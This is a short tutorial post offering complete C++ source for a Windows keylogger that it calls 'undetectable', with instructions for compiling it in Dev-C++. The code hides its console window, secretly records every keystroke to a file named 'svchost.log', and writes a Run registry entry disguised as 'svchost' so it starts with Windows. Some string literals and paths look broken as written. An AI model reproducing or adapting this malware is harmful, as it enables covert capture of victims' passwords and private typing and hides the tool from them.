Undetectable Keylogger Code in C++ :

Things Required :

-Download and Install Dev-cpp Compiler.You can download file Form Here.

-Basic Knowledge of DOS and C++

Following is Source Code For Keylogger:

#include <windows.h>
#include <stdio.h>
#include <winuser.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
   
int test,create;
test=test_key();/*check if key is available for opening*/
 
if (test==2)/*create key*/
{
char *path="c:\%windir%\svchost.exe";/*the path in which the file needs to be*/
create=create_key(path);
 
}

   
int t=get_keys();

return t;
}  

int get_keys(void)
{
short character;
 while(1)
 {
 
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{   
 
FILE *file;
file=fopen("svchost.log","a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
  fputc(character,file);
  fclose(file);
  break;
}
else if((character>64)&&(character<91))
{
  character+=32;
  fputc(character,file);
  fclose(file);
  break;
}
else
{ 
switch(character)
{
  case VK_SPACE:
  fputc(' ',file);
  fclose(file);
  break;
  case VK_SHIFT:
  fputs("[SHIFT]",file);
  fclose(file);
  break;
  case VK_RETURN:
  fputs("[ENTER]",file);
  fclose(file);
  break;
  case VK_BACK:
  fputs("[BACKSPACE]",file);
  fclose(file);
  break;
  case VK_TAB:
  fputs("[TAB]",file);
  fclose(file);
  break;
  case VK_CONTROL:
  fputs("[CTRL]",file);
  fclose(file);
  break;
  case VK_DELETE:
  fputs("[DEL]",file);
  fclose(file);
  break;
  case VK_OEM_1:
  fputs("[;:]",file);
  fclose(file);
  break;
  case VK_OEM_2:
  fputs("[/?]",file);
  fclose(file);
  break;
  case VK_OEM_3:
  fputs("[`~]",file);
  fclose(file);
  break;
  case VK_OEM_4:
  fputs("[ [{ ]",file);
  fclose(file);
  break;
  case VK_OEM_5:
  fputs("[\|]",file);
  fclose(file);
  break;
  case VK_OEM_6:
  fputs("[ ]} ]",file);
  fclose(file);
  break;
  case VK_OEM_7:
  fputs("[]",file);
  fclose(file);
  break;
  /*case VK_OEM_PLUS:
  fputc('+',file);
  fclose(file);
  break;
  case VK_OEM_COMMA:
  fputc(',',file);
  fclose(file);
  break;
  case VK_OEM_MINUS:
  fputc('-',file);
  fclose(file);
  break;
  case VK_OEM_PERIOD:
  fputc('.',file);
  fclose(file);
  break;*/
  case VK_NUMPAD0:
  fputc('0',file);
  fclose(file);
  break;
  case VK_NUMPAD1:
  fputc('1',file);
  fclose(file);
  break;
  case VK_NUMPAD2:
  fputc('2',file);
  fclose(file);
  break;
  case VK_NUMPAD3:
  fputc('3',file);
  fclose(file);
  break;
  case VK_NUMPAD4:
  fputc('4',file);
  fclose(file);
  break;
  case VK_NUMPAD5:
  fputc('5',file);
  fclose(file);
  break;
  case VK_NUMPAD6:
  fputc('6',file);
  fclose(file);
  break;
  case VK_NUMPAD7:
  fputc('7',file);
  fclose(file);
  break;
  case VK_NUMPAD8:
  fputc('8',file);
  fclose(file);
  break;
  case VK_NUMPAD9:
  fputc('9',file);
  fclose(file);
  break;
  case VK_CAPITAL:
  fputs("[CAPS LOCK]",file);
  fclose(file);
  break;
  default:
  fclose(file);
  break;
}
  }
 }
}
}  
 
}
return EXIT_SUCCESS;
}  

int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;

reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",0,KEY_QUERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}
  
reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);

if((reg_key!=0)||(buf_length>BUFSIZE))
check=2;
if(reg_key==0)
check=0;
 
RegCloseKey(hKey);
return check;   
}
   
int create_key(char *path)
{   
int reg_key,check;

HKEY hkey;

reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;

return check;
}

After Installing open Dev-Cpp File tab >new>New Source File(Or Simply Click Ctrl+N).And Copy above code and paste in the Source code area.Now navigate to Execute tab>Click Compile.And Enjoyed your self created folder.